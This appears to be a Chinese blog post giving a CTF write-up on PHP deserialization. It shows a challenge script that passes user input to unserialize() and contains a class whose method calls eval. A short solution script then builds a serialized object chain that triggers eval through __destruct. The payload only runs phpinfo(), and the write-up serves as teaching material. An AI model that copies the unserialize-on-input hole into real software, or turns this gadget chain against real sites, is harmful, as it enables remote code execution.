当前位置:网站首页>PHP序列化:eval
PHP序列化:eval
2022-07-31 12:40:00 【小龙在山东】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,参数是序列化后的字符串,用来调用魔术方法__destruct,然后调用evil的action,进而可以执行eval。
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));
边栏推荐
猜你喜欢
busybox之reboot命令流程分析
消息队列面试题(2022最新整理)
普林斯顿微积分读本03第二章--编程实现函数图像绘制、三角学回顾
小试牛刀—猜数字游戏
Use docker to build mysql master-slave
深圳某游戏研发公司每个工位都装监控,网友:堪比“坐牢”!
anaconda虚拟环境安装pytorch gpu版本
PyQt5 rapid development and actual combat 10.2 compound interest calculation && 10.3 refresh blog clicks
Exploring Plain Vision Transformer Backbones for Object Detection 论文阅读笔记
Google Chrome(谷歌浏览器)安装使用
随机推荐
Acwing第 62 场周赛【未完结】
跨境电商小知识之跨境电商物流定义以及方式讲解
busybox之reboot命令流程分析
深圳某游戏研发公司每个工位都装监控,网友:堪比“坐牢”!
最近两个月谷歌 ad 掉的厉害
双非一本进字节了!!纯干货分享
MySQL面试八股文(2022最新整理)
Chrome开发自定义右键菜单实现快速跳转到指定页面
FastAPI 封装一个通用的response
Qt鼠标穿透
Centos7 install mysql5.7 steps (graphical version)
SAP message TK 248 solved
jmeter性能测试步骤入门(性能测试工具jmeter)
攻防演练丨赛宁红方管控平台走进广东三地 助力数字政府网络安全建设
基本语法(二)
IDEA连接MySQL数据库并执行SQL查询操作
PAT考试总结(考试心得)
普林斯顿微积分读本03第二章--编程实现函数图像绘制、三角学回顾
Two methods of NameNode failure handling
go中select语句